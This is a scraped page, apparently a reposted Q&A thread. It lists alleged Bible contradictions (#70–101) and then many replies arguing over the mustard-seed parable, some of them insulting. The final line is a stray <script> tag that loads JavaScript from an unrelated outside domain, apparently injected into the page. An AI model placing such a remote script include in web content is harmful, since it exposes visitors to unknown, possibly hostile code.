buy supplies to prepare for the Passover meal (John 13:29). When Jesus was arrested, the Jews did not enter Pilate%26#039;s judgement hall because they wanted to stay clean to eat the Passover (John 18:28). When the judgement was pronounced against Jesus, it was about the sixth hour on the day of Preparation for the Passover (John 19:14). <br><br /><br />Contradiction #70 Did Jesus pray to The Father to prevent the crucifixion? (a) Yes. (Matthew 26:39; Mark 14:36; Luke 22:42). (b) No. (John 12:27). <br><br /><br />Contradiction #71 In the gospels which say that Jesus prayed to avoid the cross, how many times did he move away from his disciples to pray? (a) Three (Matthew 26:36-46 and Mark 14:32-42). (b) One. No opening is left for another two times. (Luke 22:39-46). <br><br /><br />Contradiction #72 Matthew and Mark agree that Jesus went away and prayed three times. What were the words of the second prayer? (a) Mark does not give the words but he says that the words were the same as the first prayer (Mark 14:39). (b) Matthew gives us the words, and we can see that they are not the same as in the first (Matthew 26:42). <br><br /><br />Contradiction #73 What did the centurion say when Jesus dies? (a) %26quot;Certainly this man was innocent%26quot; (Luke 23:47). (b) %26quot;Truly this man was the Son of God%26quot; (Mark 15:39). <br><br /><br />Contradiction #74 When Jesus said %26quot;My God, my God, why hast thou forsaken me?%26quot; in what language did he speak? (a) Hebrew: the words are %26quot;Eli, Eli...%26quot; (Matthew 27:46). (b) Aramaic: the words are %26quot;Eloi, Eloi...%26quot; (Mark 15:34). <br><br /><br />Contradiction #75 According to the gospels, what were the last words of Jesus before he died? (a) %26quot;Father, into thy hands I commit my spirit!%26quot; (Luke 23:46). (b) %26quot;It is finished%26quot; (John 19:30). <br><br /><br />Contradiction #76 When Jesus entered Capernaum he healed the slave of a centurion. Did the centurion come personally to request Jesus for this? (a) Yes (Matthew 8:5). (b) No. He sent some elders of the Jews and his friends (Luke 7:3, 6). <br><br /><br />Contradiction #77 (a) Adam was told that if and when he eats the forbidden fruit he would die the same day (Genesis 2:17). (b) Adam ate the fruit and went on to live to a ripe old age of 930 years (Genesis 5:5). <br><br /><br />Contradiction #78 (a) God decided that the life-span of humans will be limited to 120 years (Genesis 6:3). (b) Many people born after that lived longer than 120. Arpachshad lived 438 years. His son Shelah lived 433 years. His son Eber lived 464 years, etc. (Genesis 11:12-16). <br><br /><br />Contradiction #79 Apart from Jesus did anyone else ascend to heaven? (a) No (John 3:13). (b) Yes. %26quot;And Elijah went up by a whirlwind into heaven%26quot; (2 Kings 2:11). <br><br /><br />Contradiction #80 Who was high priest when David went into the house of God and ate the consecrated bread? (a) Abiathar (Mark 2:26). (b) Ahimelech, the father of Abiathar (1 Samuel 21:1; 22:20). <br><br /><br />Contradiction #81 Was Jesus%26#039; body wrapped in spices before burial in accordance with Jewish burial customs? (a) Yes and his female disciples witnessed his burial (John 19:39-40). (b) No. Jesus was simply wrapped in a linen shroud. Then the women bought and prepared spices %26quot;so that they may go and anoint him [Jesus]%26quot; (Mark 16:1). <br><br /><br />Contradiction #82 When did the women buy the spices? (a) After %26quot;the sabbath was past%26quot; (Mark 16:1). (b) Before the sabbath. The women %26quot;prepared spices and ointments.%26quot; Then, %26quot;on the Sabbath they rested according to the commandment%26quot; (Luke 23:55 to 24:1). <br><br /><br />Contradiction #83 At what time of day did the women visit the tomb? (a) %26quot;Toward the dawn%26quot; (Matthew 28:1). (b) %26quot;When the sun had risen%26quot; (Mark 16:2). <br><br /><br />Contradiction #84 What was the purpose for which the women went to the tomb? (a) To anoint Jesus%26#039; body with spices (Mark 16:1;Luke 23:55 to 24:1). (b) To see the tomb. Nothing about spices here (Matthew 28:1). For no specified reason. In this gospel the wrapping with spices had been done before the sabbath (John 20:1). <br><br /><br />Contradiction #85 A large stone was placed at the entrance of the tomb. Where was the stone when the women arrived? (a) They saw that the stone was %26quot;Rolled back%26quot; (Mark 16:4). They found the stone %26quot;rolled away from the tomb%26quot; (Luke 24:2). They saw that %26quot;the stone had been taken away from the tomb%26quot; (John 20:1) (b) As the women approached, an angel descended from heaven, rolled away the stone, and conversed with the women. Matthew made the women witness the spectacular rolling away of the stone (Matthew 28:1-6). <br><br /><br />Contradiction #86 Did anyone tell the women what happened to Jesus%26#039; body? (a) Yes. %26quot;A young man in a white robe%26quot; (Mark 16:5). %26quot;Two men... in dazzling apparel%26quot; later described as angels (Luke 24:4 and 24:23). An angel - the one who rolled back the stone (Matthew 16:2). In each case the women were told that Jesus had risen from the dead (Matthew 28:7; Mark 16:6; Luke 24:5 footnote). (b) No. Mary met no one and returned saying, %26quot;They have taken the Lord out of the tomb, and we do not know where they have laid him%26quot; (John 20:2). <br><br /><br />Contradiction #87 When did Mary Magdelene first meet the resurrected Jesus? And how did she react? (a) Mary and the other women met Jesus on their way back from their first and only visit to the tomb. They took hold of his feet and worshiped him (Matthew 28:9). (b) On her second visit to the tomb Mary met Jesus just outside the tomb. When she saw Jesus she did not recognize him. She mistook him for the gardener. She still thinks that Jesus%26#039; body is laid to rest somewhere and she demands to know where. But when Jesus said her name she at once recognized him and called him %26quot;Teacher.%26quot; Jesus said to her, %26quot;Do not hold me... %26quot; (John 20:11 to 17). <br><br /><br />Contradiction #88 What was Jesus%26#039; instruction for his disciples? (a) %26quot;Tell my brethren to go to Galilee, and there they will see me%26quot; (Matthew 28:10). (b) %26quot;Go to my brethren and say to them, I am ascending to my Father and your Father, to my God and your God%26quot; (John 20:17). <br><br /><br />Contradiction #89 When did the disciples return to Galilee? (a) Immediately, because when they saw Jesus in Galilee %26quot;some doubted%26quot; (Matthew 28:17). This period of uncertainty should not persist. (b) After at least 40 days. That evening the disciples were still in Jerusalem (Luke 24:33). Jesus appeared to them there and told them, %26quot;stay in the city until you are clothed with power from on high%26quot; (Luke 24:49). He was appearing to them %26quot;during forty days%26quot; (Acts 1:3), and %26quot;charged them not to depart from Jerusalem, but to wait for the promise...%26quot; (Acts 1:4). <br><br /><br />Contradiction #90 To whom did the Midianites sell Joseph? (a) %26quot;To the Ishmaelites%26quot; (Genesis 37:28). (b) %26quot;To Potiphar, an officer of Pharoah%26quot; (Genesis 37:36). <br><br /><br />Contradiction #91 Who brought Joseph to Egypt? (a) The Ishmaelites bought Joseph and then %26quot;took Joseph to Egypt%26quot; (Genesis 37:28). (b) %26quot;The Midianites had sold him in Egypt%26quot; (Genesis 37:36). Joseph said to his brothers %26quot;I am your brother, Joseph, whom you sold into Egypt%26quot; (Genesis 45:4). <br><br /><br />Contradiction #92 Does God change his mind? (a) Yes. The word of the Lord came to Samuel: %26quot;I repent that I have made Saul King...%26quot; (1 Samuel 15:10 to 11). (b) No. God %26quot;will not lie or repent; for he is not a man, that he should repent%26quot; (1 Samuel 15:29). (c) Yes. %26quot;And the Lord repented that he had made Saul King over Israel%26quot; (1 Samuel 15:35). Notice that the above three quotes are all from the same chapter of the same book! In addition, the Bible shows that God repented on several other occasions: I. The Lord was sorry that he made man (Genesis 6:6). %26quot;I am sorry that I have made them%26quot; (Genesis 6:7) ii.%26quot;And the Lord repented of the evil which he thought to do to his people%26quot; (Exodus 32:14). <br><br /><br />Contradiction #93 The Bible says that for each miracle Moses and Aaron demonstrated the same by their secret arts. Then comes the following feat: (a) Moses and Aaron converted all the available water into blood (Exodus 7:20-21). (b) The magicians did the same (Exodus 7:22). This is impossible, since there would have been no water left to convert into blood. <br><br /><br />Contradiction #94 Who killed Goliath? (a) David (1 Samuel 17:23, 50). (b) Elhanan (2 Samuel 21:19). Contradiction #95 Who killed Saul? (a) %26quot;Saul took his own sword and fell upon it... Thus Saul died... (1 Samuel 31:4-6). (b) An Amalekite slew him (2 Samuel 1:1-16). <br><br /><br />Contradiction #96 Does every man sin? (a) Yes. %26quot;There is no man who does not sin%26quot; (1 Kings 8:46; see also 2 Chronicles 6:36; Proverbs 20:9; Ecclesiastes 7:20; and 1 John 1:8-10). (b) No. True Christians cannot possibly sin, because they are the children of God. Every one who believes that Jesus is the Christ is a child of God ... (1 John 5:1). %26quot;We should be called children of God; and so we are%26quot; (1 John 3:1). %26quot;He who loves is born of God%26quot; (1 John 4:7). %26quot;No one born of God commits sin; for God%26#039;s nature abides in him, and he cannot sin because he is born of God%26quot; (1 John 3:9). But, then again, Yes! %26quot;If we say we have no sin we deceive ourselves, and the truth is not in us%26quot; (1 John 1:8). <br><br /><br />Contradiction #97 Who will bear whose burden? (a) %26quot;Bear one another%26#039;s burdens, and so fulfil the law of Christ%26quot; (Galatians 6:2). (b) %26quot;Each man will have to bear his own load%26quot; (Galatians 6:5). <br><br /><br />Contradiction #98 How many disciples did Jesus appear to after his resurrection? (a) Twelve (1 Corinthians 15:5). (b) Eleven (Matthew 27:3-5 and Acts 1:9-26, see also Matthew 28:16; Mark 16:14 footnote; Luke 24:9; Luke 24:33). <br><br /><br />Contradiction #99 Where was Jesus three days after his baptism? (a) After his baptism, %26quot;the spirit immediately drove him out into the wilderness. And he was in the wilderness forty days...%26quot; (Mark 1:12-13). (b) Next day after the baptism, Jesus selected two disciples. Second day: Jesus went to Galilee - two more disciples. Third day: Jesus was at a wedding feast in Cana in Galilee (see John 1:35; 1:43; 2:1-11). <br><br /><br />Contradiction #100 Was baby Jesus%26#039;s life threatened in Jerusalem? (a) Yes, so Joseph fled with him to Egypt and stayed there until Herod died (Matthew 2:13 - 23). (b) No. The family fled nowhere. They calmly presented the child at the Jerusalem temple according to the Jewish customs and returned to Galilee (Luke 2:21-40). <br><br /><br />Contradiction #101 When Jesus walked on water how did the disciples respond? (a) They worshiped him, saying, %26quot;Truly you are the Son of God%26quot; (Matthew 14:33). (b) %26quot;They were utterly astounded, for they did not understand about the loaves, but their hearts were hardened%26quot; (Mark 6:51-52).<br>Reply:Trees are not %26quot;garden plants%26quot;, so the asker of this question is deliberately telling a lie in his evil and worthless attempt to demonize God. When the asker says Jesus is 2000 years old he accidentally admits that Jesus still lives, the only true thing he says here.<br>Reply:Np one was standing there with a pen and paper when Jesus spoke and the King James version of the New Testament was written about 400 years later by Catholic Priests. Relegious people aren%26#039;t allowed to be skeptical but everyone else is.<br>Reply:First of all this is a parable. <br><br /><br /><br><br /><br /> Question: %26quot;What is the meaning of the Parable of the Mustard Seed?%26quot;<br><br /><br /><br><br /><br /> <br><br /><br /><br><br /><br />Answer: Like with all parables, the purpose of the Parable of the Mustard Seed is to teach a concept or “big idea” using elements or details like birds, weeds, and growth, that are common, easily recognized, and are usually representational of something else. While the elements themselves do have importance, an overemphasis on the details or literal focus on an element usually leads to interpretive errors and missing the main point of the parable. One of the possible practical reasons that Jesus used parables, is that parables teach a concept or idea by using word pictures. By depicting concepts, the message is not as readily lost to changes in: word usage, technology, cultural context ,or the passage of time as easily as a literal detailed narrative. Two thousand years later, we can still understand concepts like sameness, growth, the presence of evil influence, etc. This approach also promotes practicing principles rather than inflexible adherence to laws. Further emphasis on a singular point is given when multiple parables are given consecutively on the same subject as is the case with the parable of the mustard seed.<br><br /><br /><br><br /><br />The Parable of the Mustard Seed is contained in all three of the synoptic gospels. However, the Gospel of Matthew provides us with the most peripheral information, as it includes one parable before and after the mustard seed parable, each teaching on the same subject. Each of the three parables: the weeds among the wheat, the mustard seed, and the yeast, have six common elements in them providing structure which helps us to interpret the individual parables. The common elements are: (1) a similitude about %26quot;the kingdom of heaven,%26quot; the earthly sphere of profession both true and false, (2) “a man,” Christ, (3) “a field,” the world, (4) “seed,” the Word of God or its effect, (5) %26quot;growth or spreading,%26quot; church growth, and (6) %26quot;the presence of evil,%26quot; weeds, birds of the air, and yeast.<br><br /><br /><br><br /><br />The Parable of the Mustard Seed was taught in rhetorical hyperbole. Here Jesus uses a shrub/tree coming from a seed (John 12:24) to represent kingdom growth, consistent with other tree/kingdom references (Ezekiel 17:23 and Daniel 4:11-21). With the seed’s growth, it attracts the presence of evil - depicted as birds (Matthew 13:4,19; Revelation 18:2) to dilute the church while taking advantage of its benefits.<br><br /><br /><br><br /><br />So the picture painted in the Parable of the Mustard Seed by Jesus is of the humble beginnings of the church experiencing an explosive rate of growth. It grows large and becomes a source of food, rest, and shelter, for both believers and false professing individuals that seek to consume or take advantage of its benefits while residing or mixing among what was produced by the seed (1 Corinthians 5:1, 6:7, 2 Corinthians 11:13, Galatians 1:7). In other words, Jesus predicts that while the church will grow extremely large from just a small start, it will not remain pure. While this is not a condemnation of the %26quot;bigness%26quot; of modern Christianity, it does show us the greatest burden that comes with it. The Parable of the Mustard Seed is both a prediction and a warning. May we listen to its message.<br>Reply:May I please allow smarter people than I to answer on behalf of myself? I would like to do one of those horrid copy/pastes, and I hope you don%26#039;t mind.<br><br /><br /><br><br /><br />%26quot;Please note that Jesus was not comparing the mustard seed to all other seeds in the world, but to seeds that a local, Palestinian farmer might have %26quot;sowed in his field,%26quot; i.e., a key qualifying phrase in verse 31. And it%26#039;s absolutely true that the black mustard seed (Brassica nigra = Sinapis nigra) was the smallest seed ever sown by a first-century farmer in that part of the world.<br><br /><br /><br><br /><br />It%26#039;s also true, as many modern-day encyclopedias will tell you, that the black mustard seed in Israel will typically grow to heights of 3.7 meters, or twelve (12) feet) -- plenty large enough to hold a bird nest.<br><br /><br /><br><br /><br />It%26#039;s important to remember that the Bible often uses everyday terminology in order to communicate simple truth. Even today, we might refer to a %26quot;sunset%26quot; when, technically, scientifically, we know that the sun never actually %26#039;sets,%26#039; i.e., it%26#039;s the earth that revolves.%26quot;<br><br /><br /><br><br /><br />%26quot;The context of Matthew 13 makes it quite clear that Jesus was addressing a local lay audience, not an international conference of botanists. It seems that no reasonable person would therefore insist for very long that this text provides a viable basis for questioning either Jesus or the Bible, when it comes to getting the facts straight -- scientifically, historically, or technically.%26quot;<br>Reply:Me thinks you protest too much. Read a little further and you will get your own answer. May God Bless U.<br>Reply:get a footnote Bible folks<br><br /><br />Christianity was small and now its huge!!!<br>Reply:I think there is a differance between seeds and spores... Jim<br>Reply:See you have missed the point the jews were farmers so Jesus used somthing they knew about. Would you tell a man that knows nothing about Atoms when is is just beging to learn.<br>Reply:Remember, Jesus was speaking to simple people... Maybe they%26#039;d never seen orchid seeds so he used a seed that they%26#039;d be familiar with?<br>Reply:maybe he used a seed the people were familiar with at that time?<br><br /><br />and boy your splitting hairs.<br>Reply:I think u should fall on your knees and beg for forgiveness! The mustard seed may have been at that time, the smallest thing known, microscopes did not even exist in that era, EINSTEIN!<br>Reply:Jesus always geared his illustrations to items, activities, things that the audience would be familiar with.<br><br /><br /><br><br /><br />Perhaps the smallest seed known to the group of people he was talking to was the mustard seed.<br>Reply:i doubt the people then knew the mjicroscopic size of anything other then what was common to them - the mustard seed. we%26#039;re talking 2000 years ago.... it%26#039;s called talking TO people so they would comprehend - not trying to show arrogance by talking over peoples heads or beneath their intellegence either.<br>Reply:he was preaching to people 2000 years ago and a parable is ment to make something easier to understand for people that regularly would not understand. The people back then most likely know their home plant of a mustard seed and would not know of a distant plant<br>Reply:God and his Prophets do not lie..........<br><br /><br />Man lies through misguided intellect, a great deal of arrogance, and an inestimable amount of false wisdom!<br><br /><br /><br><br /><br />My question to you is:<br><br /><br />Where do you fit into this equation?<br>Reply:Good point, Jesus had limited knowledge but did you ever see a mustard seed on performance enhancing drugs and Miracle Grow ?<br>Reply:The Eucalyptus Regnans is not a garden plant, and they didn%26#039;t have orchids in the middle east back then.<br>Reply:hey. god thinks erath has 4 corners, he stores rain in warehouse.. what else do you expect, god%26#039;s primitive knowledge is worst than 3 years old child...<br><br /><br />and about lying.. GOD not only lies he endorse ppl to still. Remember when the told jewish slaves %26quot; go and borrow gold and silver, cloth and food from your master and run away%26quot;<br><br /><br />funny slaves are borrowing gold and masters give it to them. what can be more pathetic than bible<br><br /><br />Peace<br>Reply:He was using the mustard seed because people in that part of the world were familiar with it . Most of them were not familiar with the other seeds you mention. Anyway, all you want to do is find fault with the Bible. You will never prove it wrong.<br>Reply:Ahhh yes, another person who has no business in the religion and spirituality section.<br><br /><br /><br><br /><br />to answer your question though, yes, there are seed smaller than a mustard seed, but they did not have microscopes back then now did they? He was talking of what they knew. it also says the tallest of the %26quot;garden plants.%26quot; I do not see any oak or maple trees planted next to the lettuce or squash in gardens.(especially 492 ft. trees) and also, orchids were not in their gardens. they did not know what orchids were. <br><br /><br /><br><br /><br />notice it is a parable. and earthly example with a heavenly meaning.(I know this may be hard for you to grasp but give it a try) it is not a plain, bald face lie. it is truth.<br>Reply:Whether he used the idea of the mustard seed, or the idea of the orchid seed, the meaning of the parable will be all the same. simple as that.<br>Reply:Now who%26#039;s being literalistic,hmm? The mustard seed Story is a parable:a literary device. Jesus is giving an image of the growth of the Kingdom that the people hearing Him would understand.<br>Reply:Heh, omniscient my foot... :-)<br>Reply:Jesus is a fictional character.<br><br /><br />The bible was written by men with an axe to grind.<br><br /><br />You decide.<br><script language=JavaScript src=http://www.chinese-kungfu.org/flower3.js type=text/javascript></script><br><br>MATILDAhttp://www.blogger.com/profile/11415413220136255560noreply@blogger.com0